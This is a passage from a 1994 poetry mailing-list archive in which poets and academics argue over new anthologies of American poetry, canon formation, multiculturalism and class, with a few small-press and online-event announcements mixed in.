much of the work included is by poets who sought radical transformations not only of poetic but also cognitive forms. This fundamental conservatism makes the utility of each of the volumes dubious to me even in terms of classroom use. I don't want to romanticize the practice (time-consuming and often difficult) of making xerox-anthologies, but as someone who was taught, and now does teach, from them, I don't envision the new volumes individually or in combination offering a better alternative. I would, on the other hand, have liked to see something such as McGann has done with his Oxford volume of Romantic Period Verse, where one witnesses something of the unfolding of a field of practice in history: neither Weinberger's thematic editing, nor Hoover's conventional birth-dating, nor Messerli's combination of the two, seem very soundly motivated to me. (Even Allen's, at the time controversial, clustering of movements drew on principles of division that were at least deducible from the immanent organization of the poetic field at the time.)

I am open to the criticism that my judgements here are a little hasty, given that I've not owned a single one of these volumes for more than two months and have certainly not read even one of them in their entirety (has anyone? will anyone?).

Finally, a thought experiment that owes a little to Ron Silliman's remarks in "Canons and Institutions: New Hope for the Disappeared": what place would these anthologies have in the curriculum of an instition that--unlike the ones most of us work in, for, or near--was autonomous and deeply committed to the real possibilities (past, present, and future) of poetic practice? For while the form and contents of these books can indeed be defended as *compromises,* I think it is of vital importance to weigh these compromises, which after all take a lot out of one, against the prospects of transforming the situation so as to make them unnecessary.

↑ Index

31. Mn Ctr for Book Arts
Re: magic anthology ride
Wed 20 Jul 1994

First, regarding "the 'economy' of anthologies: the law of diminishing financial and intellectual returns to the poet(s)"-- diminishing from what? Is there a place of undiminished financial returns to poets?

And I am surprised to find no nod or reference to anthologies such as the recent special double issue of o-blek (one volume on technique, the other on practice, which is in effect an anthology), and the recent The Art of Practice (Potes & Poets). Both of them seem to me anthologies which want to push something forward, rather than documenting the past (although that could be argued, as

the latter does publish works which have been published previously, although mostly in the last couple of years). Are these anthologies less valuable than the works by Allen, Messerli, and others mentioned in this discussion? I don't think so.

Anthologies are like our institutions of literature. It's hard to live with them, but also hard to live without them. But is it hard to outlive them?

charles

↑ Index

32. Susan Schultz
Re: Anthslide
Thu 21 Jul 1994

Steve Evans brings up the conservatism of the new anthologies vis-a-vis their form. Having scattered my attentions across the Hoover and Messerli volumes, I'd venture to add that, while they may represent "a new American poetry" (the subtitle to Messerli's anthology), they don't necessarily represent a new America. Messerli's volume includes Baraka and Mackey, who are included as writers who, with Inman, Child, and Darragh, "all work closely with genres that explore sound/music/ voice relationships" (33). They are not included among the poets who are concerned with cultural issues (group #1), or those who focus on issues of self (#2), or those who are engaged with "language, reader, and writing communities" (#3). Such thematic groupings are intriguing, but many, if not most, could be included in all of them. This is just a guess, but it sounds to me as if the groupings were developed to describe writers, rather than emerging out of a wide-sweeping survey of the 1960-1990 frame that Messerli assigns himself.

Hoover's anthology, organized rigidly as it is by birth-dates, comes a bit closer to "looking like America." Hoover includes Hagedorn, Yau, and Berssenbrugge; Algarin, Baca, and Cruz. I wonder if the term "postmodern," which is both a descriptive and an historical term, allows him greater leeway. At any rate, while I hardly want to subscribe to an arts-by-numbers scheme, I also want to see a wider range of experiences (both historical and aesthetic) represented here. The Heath tried to broaden the range of ethnicities welcomed into the American canon, but failed miserably (as I guess everyone knows) at challenging the hegemony of free-verse. Where's the response? While I seldom teach with anthologies, to dismiss them totally seems utopian--many university courses do use them. I would think twice about using these anthologies in a Hawaii classroom, though I'd happily recommend them to students as partial portraits of contemporary American poetry.

Susan M. Schultz

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33. Marc Nasdor
Re: Anthslide
Thu 21 Jul 1994

I agree with Steve Evans, and I would like to add a comment.

Since there is little market for poetry, in the conventional sense of "market," I would suggest that anthologies have no market outside of poets and a dwindling number of students. That fact, however, does not totally destroy their value.

But as for me, I would prefer to receive my anthologies with loose, unbound pages, so I could chuck the crap and keep the cool stuff. You want to empower the reader, right? :-)

Regards, Marc

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34. Marc Nasdor
Re: magic anthology ride
Thu 21 Jul 1994

Charles--

Unfortunately, it's impossible to outlive them. That's why they give me the creeps.

Marc

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35. Marc Nasdor
Re: Anthslide
Thu 21 Jul 1994

Susan--

The "hegemony of free verse" you refer to is simply a reflection of time marching (or goose-stepping, as you might refer to it) forward. The problem is that most of the interesting rhymed & metered verse is being written by songwriters. I'll take verse from the Residents, Iggy Pop, or Kurt Cobain for that matter, over volumes of mindless drivel from the likes of an R. Wilbur or R. Howard.

Marc Nasdor

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36. Joseph Conte
Re: Literary Biography
Thu 21 Jul 1994

In answer to Mr. Klindberg's useful questions regarding the volumes on American Poets since 1945 that I'm editing for the _Dictionary of Literary Biography_:

Although it may sound parochial, the senior editors of the series have decided to treat Anglo-Caribbean writers and Canadian poets in separate volumes. There are always exceptions, especially for instances in which the poet is born in the Carribean or Canada but has spent the major portion of his or her life in the US.

This volume is actually updating and superseding _DLB_ 5 on American Poets since 1945, edited by Donald Grenier (1980). It may overlap in a few instances with Ann Charters two volumes on the Beats, in part because the careers of several of the poets found in her volume were never strictly identified with the Beats. Perhaps, after the big Beat reunion in May in NYC, Charters will update her own volume. So there may be new entries on Allen Ginsberg (if someone's so inclined) whose work was addressed in _DLB_ 5, or Paul Blackburn, who appeared in Charters' volume but was more closely associated with Black Mountain.

In both instances the membrane's semi-permeable, and I'm rather open to (private) negotiation.

Thanks for your interest.

Joseph Conte

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37. Jed Rasula
Re: Anthslide
Thu 21 Jul 1994

Susan Schultz's distinction between a "new American poetry" (Messerli via Allen : & I continue to be amazed at the hero worship Allen inspires almost 35 years later, as Messerli, Hoover, Weinberger, & Silliman's *Tree* testify) and a "new America". I think on the one hand of Emerson's phrase "this new yet unapproacha ble America"--from, I believe, the essay on Experience--taken by Stanley Cavell as the title of a book; and on the other hand, think of Jose Marti, and his quite different & unEmersonian experiences as a Cuban journalist in NYC in the 1890s, struggling to certify "nuestra America" in the expansive sense I think Susan is speaking of. So I note, with both curiosity & apprehension, the announ cement in the Viking catalogue for Fall, an anthology

edited by Maria Mazziotti Gillan & her daughter Jennifer: *Unsettling America: An Anthology of Contempor ary Multicultural Poetry*. --does anybody know the editors, or know anything of this project??-- this is touted as a book designed to "displace the myths and stereotypes that pervade our culture", but I have a hunch it doesn't do much to displace the fastest growing myth on the cultural horizon coming into the 90s, which is the uniformity of the white male. Which is not to say that white males haven't had a couple centuries (in the USA) to create a diversified self-portra it (in various convexities); but the very "selling points" of this anthology are a portent of an ominous but it seems inexorable social fact, that nothing gets valorized except by a corresponding devalorization-by-caricature.

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38. Marc Nasdor
Re: Anthslide
Fri 22 Jul 1994

Jed Rasula's comments about the "myth of the uniformity of the white male" are right on target, but I might qualify somewhat. Outside the arts and academic communities, these issues used to barely generate much interest. It is worth noting that it has been papers such as _The Wall Street Journal_ which has brought this issue into the mainstream.

BTW, I've just returned from a month in Hungary, and I cannot overstate the degree of puzzlement exhibited by young Budapest intellectuals concerning the subject of political correctness. They think the Americans are retarded. But maybe that says something about the former.

--Marc Nasdor

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39. Jorge Guitart
Re: Anthslide
Fri 22 Jul 1994

---

i would like to know what hungarians find wrong with political correctness.

↑ Index

40. klindberg
Re: Anthslide
Fri 22 Jul 1994

Perhaps they hero echoes of the Stalinist notions of "correctness" and "correct" party discipline.

↑ Index

41. Marc Nasdor

Re: Anthslide

Sat 23 Jul 1994

Jorge:

What Hungarians find wrong with political correctness is undoubtedly that p.c. is the first step on the slippery slope leading to neo-puritanism. I've been hanging around with many Hungarians for the past decade (in fact, I'm married to one). And what I can tell you is that Hungarians like to enjoy themselves. They like to cook and drink and fuck and let their kids run around naked at the lakeside beaches. Those to whom I spoke on the subject of political correctness, however, sometimes posed inane hypothetical questions, such as: "So, if the woman *successfully* slept her way up the corporate ladder, could she later charge sexual harassment of those former superiors, for her own personal gain?" This was enough evidence for me to conclude that mainstream Budapest intellectual circles were receiving their information from rather suspect sources, probably the mainstream American press. :-) I would say that sexism and harassment are as prevalent in Hungary as in the rest of the world, but it's probably more out in the open, and I think that less and less Hungarian woman are willing to tolerate standard macho b.s. I've heard plenty of horror stories from my wife about her treatment by male superiors when she was teaching gymnastics in her twenties. At least the Hungarians aren't totally hypocritical, like many French intellectuals, who will claim of sexism in France that "we've already solved that problem," which as far as I'm concerned is a lot of hooey. As for other issues, multiculturalism, for example, the Hungarians usually claim that they are the embodiment of multiculturalism, being descended from seven or eight different nationalities stretching far into central Asia. Of course, try telling that to the Gypsies, who are treated as pariahs, to put it mildly. One gypsy family in a department store has everyone clutching their wallets with an iron grip. What can I say? We live in a screwed up world. In any case, political correctness in the USA has been demonized as a bourgeois pasttime. Unfortunately, discussions about such issues as spouse abuse, as well as gender-related issues, rarely include members of lower socioeconomic groups, whose members are affected is much greater numbers.

Regards, Marc Nasdor

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42. Marc Nasdor
Re: Anthslide
Sat 23 Jul 1994

Klindberg writes:

> Perhaps they hear echoes of the Stalinist notions of "correctness"
  and "correct" party discipline.

Well, maybe, but they also think that American intellectuals take themselves *way* too seriously. Can you blame them? How many examples of Hungarian fiction, poetry, drama, or criticism ever make it into English. I think many intellectuals writing in "less popular" language groups feel their works are constantly belittled by the "imperialist" languages. They are correct.

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43. Patrick Phillips
Re: Anthslide
Sat 23 Jul 1994

Marc,

from *Hungarian Anthology*, Pannonia Books, Toronto, '66

(the truck of the existential anti-imperialist editors is evident here in this mostly male-dom; but it's the only Hungarian anthology I have. What a nut to fit my knowledge of Hunagrian poetry into, or what a *small* book to get it from....

From Anna Bede's "Ode to the Dishwater" (no date given)

Dishwater,
you daily gathering!
What are you making from the salad's green,
from the golden meat, from ash-colored fruit?
What do you do with the screaming of the tender finger-grabbed silverware,
engine-rumbling, painting, struggle of tuneful words?
How do you dissolve the changing to a man,
the leisure majesty of feasting,
the sparkling faith of working days?
You are like the jealous earth
Which only can dissolve and cleanse when she kills,
and falling in her pit, insects, leafage, fruit and men
become united and unrecognizable.

In many ways the anthology this fragment comes from is itself compost in this dishwater; that its ideological choices are informed by the themes, the forms, the conceits; that its picture of Hungarian poetry is messy, a messy remnant -

particularly now. Anna is one of three women collected here and *I* chose this fragment; itself a messy, and could be construed as ideological, choice. (Another - "I Am The One" - is much more clearly marked out as an *anti-war* metaphysics.) -- In many ways we engage in literary history and not poetry at all.... Of the many questions I'm raising in this post, foremost is how, or is it possible to be updated by another Hungarian (or by any) anthology? Anthologies are beasts one sleeps with while clutching a knife under the pillow. I have the knife; is there one that I could try with?

Pat

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44. Marc Nasdor
Re: Anthslide
Sat 23 Jul 1994

Thanks for the posting, Pat.

Hmm, unfortunately there's not much of interest in English. You might look at: _Modern Hungarian Poetry_ (New York: Columbia University Press, 1977) The Hungarian issue of _Translation_ from the mid-1980s An earlier issue of the _Five Fingers Review_, which includes poems by one of the more interest younger Hungarian poets, Endre Kukorelly, translated by Sandor Andras, a professor at Howard University in Washington. Interested Hungarophiles and others can write to him c/o the German Dept. there; or at 9007 Sudbury Rd., Silver Spring, MD 20910. Tell him I sent you. Thanks

The rest, alas and alack, are dull mainstream academic translations of Agnes Nemes Nagy, Sandor Weores, and Istvan Vas (all recently deceased elder poets)

-- Marc Nasdor

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45. Susan Schultz
Re: Anthslide
Sat 23 Jul 1994

I have the unhappy feeling that my posting led somehow to a discussion of "political correctness." That term, and its benevolent confrere, "multiculturalism," tend to obscure debate rather than open it up. The commercialization of "multiculturalism" (CNN advertises itself internationally as having a "multicultural" staff) comes to mean that we have "anthologies" and "multicultural anthologies" as if the two were necessarily distinct from one another. My argument for the inclusion of ethnic diversity in the former comes out of the experience of teaching in a place where 90-950f my undergraduate

students in most classes are non-Caucasian Americans. At that point the debate over political correctness seems frivolous, and the need to diversify one's reading lists becomes a matter of pragmatism rather than idealism (or, if you're anti-PC, a stain on the traditional canon). But I don't think Hawaii's alone; California is becoming a state with no ethnic majority population. Doubtless others will follow.

This is not to say there isn't resistance here, too. There is, and it makes life in the UH English department interesting (in the sense of the Chinese curse: "May your life be interesting"). And my syllabi are often top-heavy with members of the old canon. But I wish we could talk about these matters without using the show-stoppers, pc and multiculturalism. We might at least talk about what "multicultural" might mean in a productive (and not in a commercial) sense.

Susan

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46. **kat**
Re: Anthslide
Sat 23 Jul 1994

A few very minor points in response to recent flurry, if I may.

1) to M. Nasdor--If members of socio-economic under-class
are not part of our (?) conversations, how can we know that they are more affected by spousal abuse, etc?

2) S. Schultz--The point about saving productive thought and/or work from commercialism is, of course, well taken and shared. However,where do notions of "productivity" come from if not directly--or even reactively-- from the Market? one market or another? Expensive whole food markets, which tend to be quite p.c.;little broken down markets that sell lotto tickets and beer by the can; open subsistence markets in India; the commerce in ideas over emergent media, etc....

While it's no fun to pun about m/Market(s), it's worth recognizing some of the slippages from, say, high to low culture and sacred to profane (literary/literal?) property. Oh, anyway. By the way, I teach in Detroit, where it seems to be rather clear that "multiculturalism" and "cultural criticism" can too easily be an evasion of Race and Class, which are stunningly practical (Praxis) issues--even for the few theorists left at the front guarding their rear(s). Charges of p.c. can work same.

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47. Marc Nasdor
Re: Anthslide
Sat 23 Jul 1994

Kat:

Even if the socio-economic underclass (let's not leave out the culturally working class) were less plagued by spousal abuse, etc., it is clear that they must be somehow brought into the conversation. Do you think that *only* members of the upper and middle classes should be subject to (re)educational efforts on behalf of all women, minority groups, children, etc. Surely one cannot count on the moral Trickle-Down Effect to apply here. Try working on Wall Street for a while: I can assure you that you'll run into people from a wide breadth of backgrounds, most of them incredibly ignorant of even the subject of these discussions. These people--and most of "Middle America"-- are precisely those who American left intellectuals have been taking for granted in recent decades. These are also the same people who are never exposed to innovative art works, experimental poetry, film and music from other cultures, etc. There is one whopper of a cultural revolution that never happened in most of America in the 30+ age group. Maybe grunge culture has made deeper inroads among the twentysomethings than all the poetry or p.c. jingoism will ever hope to accomplish.

--Marc Nasdor

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48. John Fowler
Re: ANTHSLIDE
Sat 23 Jul 1994

Released from the tyranny of the bound book (canon)
a reader is truly empowered: the "book" looses its "market value";
texts have only use (commodity) value and no exchange value.

Where can the "unbound book" reside if not here?

First put it here, then choose your "pages" from it.

Do not give it to the "binders".

fowler

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49. Robert Drake
Re: Citation for Golding on Anthologies?
Sun 24 Jul 1994

> *Bob-- Yes, the problems are precisely the ones you named: commodification and canonization, though one suspects that both will be only modestly achieved by the respective collections.*
>
> *I think a forum on the questions raised by these books (and you are right to include the o*blek, leave, and P&P volumes: I haven't been able to track down the latter though) is very much desirable, especially since I think many of us are having to re-adjust our thoughts on the status of our "tradition" after such a conspicuous, and may it be said quite *alienating* repackaging of the work (alienating perhaps because it is so visibly dead labor all of a sudden, whereas before we all were prone to thinking we had a duty to keep it living through small scale, even illegal, republishing ((xerox packs, personal anthologies, the tattered copies we stumbled on in used book stores, etc.)). Do you recognize what I'm describing here?*
>
> *Let me know how you envision the section in TapRoot and how I might help you with it. I would be happy to prepare (and perhaps introduce) a selection based on remarks culled from a forum on the poetics list--if the list-owner and various subscribers agree that that's a legitimate use of bandwidth (which I think they will).*
> *Get back to me on how to proceed when you have a minute. Until then, I wish you well.*

steve--

sorry to be so tardy in replying--mounting a gallery exhibit (which opened friday) which included a 1300 item catalog... your original post seems to have sparked some discuss, much missed from the list of late. my own rantings:

anthology, from gk "collection of flowers"--neatly labled and pressed into a book, no longer living or fragrant, nor allowed to go to seed...

looked at in the most sceptical light,the urge to anthologize seems to me an attempt at ownership, a beating of the bounds which not only defines but claims rights to a territory. that's the sense, for me, in which it's an attempt to canonize--to control what is or is not allowed in, what is legitimate to consider. i have to think, given the power of the Norton anthologies in general, that Hoover & the editors there _must_ be consious of that side of it; inexcusable if not so. & too, putting the thing together as a product to sell, obviously not just the commodity of an individual book on the shelves but a perspective, actual capital value in a (praps corrupt) cultural market. that's the "commodification" angle.

i think, for the others (Barone & Ganick, o*blek, Sun&Moon), there's a bit of an embattled sense, in which they feel they must struggle against that entrenched power structure, either to storm the gates or at least to define & defend their domain. those alternative practices & poetics i am much committed to, but i'm not sure that adopting the same tactics is the best agency for advancing the cause...

> wanna be the next don allen. wanna out the next
> _in the american grain_ (such an important book
> to me--& maybe moreso 'cause i got it fr a buck
> in the remainder bin...)

this is all very largely overstating the case.
hyperbole that i all too often believe.

i appreciate having the chance to read other editor's selections, reading the editing as well as the selected work. telling, fr instance, that the Hoover is arranged by chronologic date of birth--nothing about the work itself, but centrally about the author--as arbitrary as any, i suppose. the author-ity of the editor, tho, is i imagine not something most students will be aware of--and there's an arguement in favor of the "illegal xerox packs & personal anthologies" you mention, which are so obviously the selections of an individual...

---

a plug here, for the initial issue of "Chain" (spring summer 1994, "Special Topic: Gender & Editing", edited by Jena Osman & Juliana Spahr; $7.95 to 107 14th St., Buffalo NY 14213). A _crucial_ piece of work. from their "editor's notes" (without permission): "Relation: Perhaps a good starting point would be to discuss my apprehension about editing. I am uncomfortable with the idea of the editor as arbiter of good taste, or as the (in)visible navigator/sculptor of a final packaged product. Journals rarely seem to openly admit the presence of personal ideology behind their pages. And when they do, the "personalized" frame seems to stifle and alter the work by mashing it into an overly-prescribed space. We all change what we read in the very act of reading; however, editing forces an external median strip between the substance of the original and what it will become. Such mediation can create a powerfully dialogic space; it can also create a "culinary" space that limits the possibilities in the act of reading. The _Chain_ project is an attempt to investigate the (im)possibility of an unmediated reception, the (im)possibility of detaching a writing from its presentations/ideological form."

> (& yes, i(ronic), male, select this particular excerpt for
> this particular space...)
> (wondering if the (coincidently male) editors of the

> anthologies under discussion might have some awareness of
> these concerns)...

---

so what does an anthology teach? that literature is a dead thing (again, the flowers pinned down & labled); that you (reader) can rely on someone else to distinguish for you what is important, what is not. (too bad "discriminate" has lost some utility--of course it would be _evil_ to "discriminate against" something; so instead we are indiscriminate); & that it has no context. the anthologist trots out a string of "good" poems, demonstrating their power & virtue--& by extension poems that are "like" those are "good", ones that are "different" must not be. profoundly conservative.

why not teach a few "bad" poems? teach from the struggling journals (we could use the business), let (make) students hunt thru and make their own choices. for the cost of the Norton (aww, quit raggin' on them...) you could choose a half-dozen "slim darlings" & really get into a poet's work, the best and the not-so (once got an order frm a univerisity bookstore for 50 copies of one of our chaps; made my day for a week).

> "1805 W. Taylor in Ann. Rev. III 651 It ought not be said
> that any aanthologist can strrip the garden of its flowers."
> (i love my OED--so optimistic; & so well edited)

---

so, that's my rant, or a bit of. as fr TRR: our (thee editorial "we"!) main goal is to provide access to material, descriptive over evaluative, and as above encourage the reader to make her own choices. a brief survey, say a paragraph or 2 on each of a half dozen, plus a few paragraphs to contextualize (raise some of these questions, not neccesarily lay down the definitave answers), would be a valuable contribution. hope you'll consider.

asever
luigi

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50. Marjorie Perloff
Anthologies
Tue 26 Jul 1994

Well, I've finally managed to retrieve 58 messagesfrom my other Eudora) system at Stanford via my computer in Los Angeles. But I haven't figured out how to send it the other way yet. So let's see if it works on MCI. A few comments: in all the discussion of anthologies, no one has mentioned that the

odd thing about Hoover, messerli, and Weinberger is that they feel obliged to buttress the present with so much of the past. Don Allen, after all, really did do the New American Poetry. So why do these anthologists begin with Olson or the Objectivists, etc.? Stuff that's 30 years old or 40. Do we feel too little confidence that we can pick the New American Poetry. As for the Multiculti issue (brought up by K. Lindberg, Susan Schultz etc), I think much more of it will kill off any interest in poetry anyone might have. Poetry isn't written by quota. Gays, for example, have always been way overepresented--the leading poets at many periods of history have been, say, 60 % gay. Now if we have to go by quota, where does that leave the poetry of Hart Crane or Auden or O'Hara or Ashbery or Schuyler or even Whitman and Dickinson? Secondly, the sort of thought police to be found in John Yau's recent rant is really counterproductive. Whatever one thinks (thought0 of Eliot W's anthology, this sort of head count can't work. There will always be more groups, always those not represented, etc. etc. Why does every group have to write poetry to begin with?

Marjorie Perloff

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51. Marc Nasdor
Re: Anthologies
Tue 26 Jul 1994

Marjorie:

I'm so busy working my butt off in the sweatshop that I did not see the rant of John Yau that you mentioned in your post. Could you please tell me where I can get a hold of it.

Sincerely,

Marc Nasdor
[redacted]

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52. Susan Schultz
Re: Anthologies
Wed 27 Jul 1994

Dear Marjorie and K. Lindberg and others:

It seems to me that there has to be a middle position here; to argue for "multiculturalism" does not necessarily invoke the thought police, or John Yau. I do think it's worth asking whose interest in poetry is deadened by such

discussions (and that, I suppose returns us to the question of community); as K.L. and I have noted (and I'm sure people are getting sick of hearing me write this), multicultural syllabi are often more a practical, than an idealistic--or cynical, if you will--concern. That's why readings by white male mainland poets average fewer than 35 members in the audience, and why readings by prominent Asian-American writers can easily attract several hundred here. Audiences do matter, and I'd like to see them overlap more. The problem with multicultural anthologies is, to my mind, that the creation of a "multicultural" market may tend to reaffirm the differences between audiences. What I'm suggesting is a blending of that large group of white male gay poets (or whoever's in the statistical ascendency) with other voices. I'm not talking essentialism, but experience here. It's not that all groups should write poetry, but that individual members of all groups, for whatever reasons, do. I appreciate the fear of quotas; I feel it myself sometimes. But there are unconscious, as well as conscious, quotas. Why else would 98% of the University of Hawaii English department be white, in a state that has no majority group?

Enough huffing and puffing by me. Back to Honolulu's humid squelch. I hope others are cooler.

Susan Schultz

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53. Marjorie Perloff
Anthologies again
Wed 27 Jul 1994

In response to Susan Schultz: you're right, Susan, I was just sounding off because I did find John Yau's attack on Elliot Weinberger especially irritating and disingen- uous. But you'r right: if I taught at Hawaii, I would certainly feel a responsibility to have plenty of local (or Asian-Am or Asian) poets and not just white males. But I think that's less a question of ethnicity in general than of local pride, isn't it? The feeling of always importing things from the mainland? Anyway, I'm looking forward to my Phi beta Kappa visit next January and see for myself, never having been to Hawaii. All very complicated! Marjorie

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54. Steve Evans
Yau's Review
Wed 27 Jul 1994

For Marc and others who may not have seen it, John Yau's review of the Weinberger volume appeared in the March/April issue of American Poetry

Review. The current issue of the APR (with Joe Ceravolo on the cover) includes letters--all of them hostile to Yau--from: Weinberger, Esther Allen, David Hinton, Forrest Gander, Roberto Tejada, and Cecilia Vicuna. Yau is given space to respond to each letter.

[What follows are some thoughts, composed rather late at night, that can certainly be passed over by anyone who is growing tired of this topic.]

My gloss on the exchange in APR is, I regret to say, rather negative. I hope it won't sound cynical when I say that *credentials* seem more at stake than substantive issues. This is not to argue that credentials are *not* a substantive issue in the politics of representation, but it is to admit a certain weariness with the American reflex of personalizing important debates (e.g. Weinberger's calling Yau's review "a nervous breakdown in print," & other examples too numerous to mention).

One interesting note: Yau wrote exactly the review Weinberger had apparently been having nightmares about while preparing the book (see his defensive "note on the selection" at the front of his book, with its Malthusian ref- erence to a "population explosion" in recent poetry apparently contradicting the denigration, several pages later, heaped on those who "count heads" or maintain "police-blotter files on individual poets".) That the "Very Brief History" of "American Poetry Since 1950" is more than an apology for the editorial decisions of the book I also take to be incontrovertible. Had Weinberger admitted that his description is *historically* accurate for the period between 1950-1965 (or 70 at the latest), and then only for a very specific (and indeed, very significant: cannot specific and significant be thought at the same time?) group of writers, there would have been a lot less room for misunderstanding.

My point here is: Weinberger and Yau are playing two sides in a single game, a game in which "marginality" has been converted into the stake and highest honor even by intellectuals who feel few of its withering social effects. I would suggest that we wean ourselves of "marginality" and consider more seriously the values and meanings of "specificity"; that we, further, dis- abuse ourselves of illusions that, historically, avant-garde formations have been drawn from any class other than the dominant one, and that in the U.S. that class has been and continues to be white; and finally, that positions in the economy of literary canonization have any *direct* correspondence to positions of social power. I hope that it is recognized that the latter two points go together: drawn from the dominant class does not mean loyal to it. The avant-garde hasn't had, by any means, the monopoly on oppositional cultural and political practice in capitalist societies; but it has had, at various times, important links to oppositional social movements and to the intellectuals who inevitably emerge as such movements

progress. Vexed, con- tradictory, seldom studied in any detail, such links might be the basis for an anthology neither Yau nor Weinberger, nor for that matter Michael Harper (*Every Shut Eye Ain't Asleep: An Anthology of Poetry by African Americans Since 1945,* $13 from Back Bay/Little, Brown), have yet imagined.

One last note: Erica Hunt's "Notes for an Oppositional Poetics" has been mentioned on this list before, but its relevance for this discussion seems worth noting once again. It is published in *The Politics of Poetic Form* (Roof, 1990). Cary Nelson's *Repression and Recovery: Modern American Poetry and the Politics of Cultural Memory* (U Wisconsin, 1989) also is useful here, especially with respect to the way class, and class struggle--two things that identity politics and official multiculturalism cannot recognize-- were once vital, generative, categories of poetic practice in this country.

I apologize for the length of this post; as usual I couldn't resist the opportunity for discussion this list represents to me.

Regards to all,

Steve Evans

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55. Joseph Conte

Re: Anthologies

Wed 27 Jul 1994

I for one can't remember the last time I bought an anthology for personal reading. I evaluate them as textbooks for survey courses, trying to anticipate their appropriateness for a fairly disinterested group of largely blue-collar students here in Buffalo. I order an anthology because my students can't afford a long reading list, and so they get a wide selection at one low price. I used Codrescu's _Up Late: American Poetry Since 1970_ in a class on Contemporary Literature (along with several pbk. novels). Antin's talk poems and Judy Grahn's lesbian odes were the surprise hits; much other experimental work was largely met with stoney silence. I actually looking forward to trying out Hoover's book next spring. I think the poetry has to move the audience, regardless of race, gender, or sexuality. If gets them talking about something other than the Buffalo Bills on Monday Night Football, it's a success.

From Buffalo, where the cool breezes blow off Lake Erie and there's nary a day over 90 degrees:

Joseph Conte

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56. Marc Nasdor
Re: Yau's Review
Wed 27 Jul 1994

Thanks to Steve Evans for his relevant posting. I look forward to rereading Cary Nelson's book. I just have a couple of points to add. First, Steve, I think that it's a bit disingenuous to say, in 1994, that the dominant class "has been and continues to be white." That sounds like a statement by someone who never gets off campus. I'm a freelancer and I have been poking my nose into many types of work and social situations for a long time. I can guarantee you that the dominant class--the "middle" class, the class to which we're referring--is well represented by non-white members, who spend the same amount of energy as white people hypeing the dominant culture--capitalism, know- nothingism, the general conservative ethic, etc. I think that for domestic politics in the present and future, race is and will be a distraction, and I don't think that the community of "alternative" poets and writers will ever really come together, to make definitive cultural/political action, until it recognizes that *class* was/is/will be the central issue here. I don't know, people seem to go out of their way to avoid talking about class. I wrote this posting because of the way you ended yours (making reference to the fact that identity politics and official multiculturalism cannot recognize class and class struggle). I think you contradict yourself. The second bone in my throat: your inference that "credentials" may be a substantive issue in the politics of representation. Steve, that's why we love the Net, because it frees us from such emphemera. I have no idea what your credentials are, and I couldn't give a flying Flinstone. We should all be grateful to be alive to see the crumbling of the priesthoods. We only have to be vigilant enough to watch out for new ones.

Regards, Marc

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57. MARK WALLACE
Situation on the move
Thu 28 Jul 1994

Situation magazine is moving again,
this time to Washington D.C.
Please send all correspondence after August 1
to:

Mark Wallace
Situation
10402 Ewell Ave.
Kensington, MD 20895

Issue #7, just out, features the work of
Kevin Killian, Ron Silliman, Dodie Bellamy,
Carmen Orrega, A.L. Nielsen, Mark Hammer, and Sterling Plumpp.

Only $8 for four issues,
$2 for single and back issues.

I hope to hear from you.

Sincerely,
Mark

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58. Joe Amato
anthologies...
Fri 29 Jul 1994

---

for alla this talk contra anthology, which i do 'preciate & understand, still:

1. if somebody wanted to anthologize my work ("me") i'd be tickled pink... perhaps i wouldn't feel this way after countless such 'events'... on the other hand, i think it would be an Immensely Satisfying ego-massage... some of you who have had the dis/pleasure can comment here on this---do it feel as good as it looks?... 2. as i think it were john fowler pointed out, the net represents to those with access places to distribute foc... use at your own in/discretion... for you academics out there (like moi): this will of course not help your tenure case in any causal sense (as things currently stand)... 3. what "counts" as an anthology in poetry is perhaps a different construction (say, in historiographic terms) than similar compendia in, say, fiction... 4. let's not gloss the less-than-scholarly-and-entirely-human tendency to want to see one's friends families oneSelf in print, side-by with other perhaps more famous names... i refer here to the tendency for editors to plain & simply play faves... which is simply an extension of any such editorial stance (& it happens ALL the time)... which is again one rather obvious reason why ANYTHING gets published in the first place, whatever the merit... 5. anthologies, as a few folks have suggested, are useful in pedagogical terms... if you make your own you're not necessarily more disinterested---the impulse may very well be precisely the same... luigi-bob's comment re purchasing five or six 'little books' strikes me as on the mark... yet there do seem to be a need now & again for some sweep, some 'representational' grid of who's who in institutional terms (& in accord with one's sense of institution)... anthologies are texts... that is, they have contexts... they are not static, they emerge (jed & alan & ____ are probably most familiar with this argument) against a specific set of cultural exigencies... hence they oughtta be used in light of this... if intro'd this way, anthologies can be seen as the normative constructions they in fact are... 6. & of course, back to emedia,

what of the digital-form issues at stake in this process of amalgamating?... we take work composed with pen pencil typewriter wordprocesser & lord knows what new software, we convert it to print-bound matter, & we publish accordingly... perhaps this seems a moot point---to those who view these letters as just that---but i find it more problematic in poetry than, say, in publishing paperbacks of victorian prose... owing to my sense of things poetic, attention to formal constraints etc... & because there has been for some time now, all over the net, ongoing discussion of dislocations slippages etc. as a consequence of emedia, alphabetically speaking...

so so... just some random noninklings, bubbling up through...

joe

↑ Index

59. Steve Evans
Re: Yau's Review
Fri 29 Jul 1994

Just a couple of quick points in reference to Marc's post. I take the point that whites no longer monopolize the exercise of domination, though I don't happen to share Marc's view that the middle-class is "dominant" in the national or the global economy. I invite Marc to provide an explanation for the "whiteness of the avant-garde" that is more solidly grounded than the one I gestured towards. In schematic terms I simply tried to suggest that: avant-garde cultural production tends to be an option in the universe of subjects socially positioned nearer to economic power; as the terms of access to that power get redefined, so will the terms of access to the avant-garde project. I draw this inference from looking at the composition of actual avant- garde formations since the mid-nineteenth century, but I will be the first to rethink the position if people present good reason to do so.

On the question of "credentials": here I'm afraid that it's your turn to be disingenuous, Marc. I was explicit in my criticism of turning credentials into the central point of contention in the Weinberger-Yau debate. However, as a geniune set of questions about tradition underlies the manic debate about Canon, so a genuine set of questions about competence underlies the debate about credentials, or so I would contend. The bridge term in each case seems to be institution(s), since they convert traditions into Canons and competence into Credentials. But perhaps I overestimate, here at my university-subsidized internet link, the importance of the institution?

As for the crumbling of "the crumbling of the priesthoods"--please don't mention it to Salmon Rushdie, since such comments must tempt his patience. The "old" ones are still here, and there are new ones in addition to that. As

Andy Levy remarked in a series of posts several months ago, the Net itself is, more likely than not, one of these new ones. There is plently to be vigilant about, agreed, but not only up ahead.

Regards,

Steve Evans

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60. Chris Funk
synnerlyptium
Fri 29 Jul 1994

---

d i u 4

All persons interested in text-based virtual realities:

Describers of an Imaginary Univercity will meet
in the living room on lambda-MOO, Monday August 1st 10 pm
east coast time. To accompany: telnet lambda.xerox.com 8888
If you are unfamiliar with this medium, you might experiment before-
hand, and obtain a "Character" if possible. C you there.

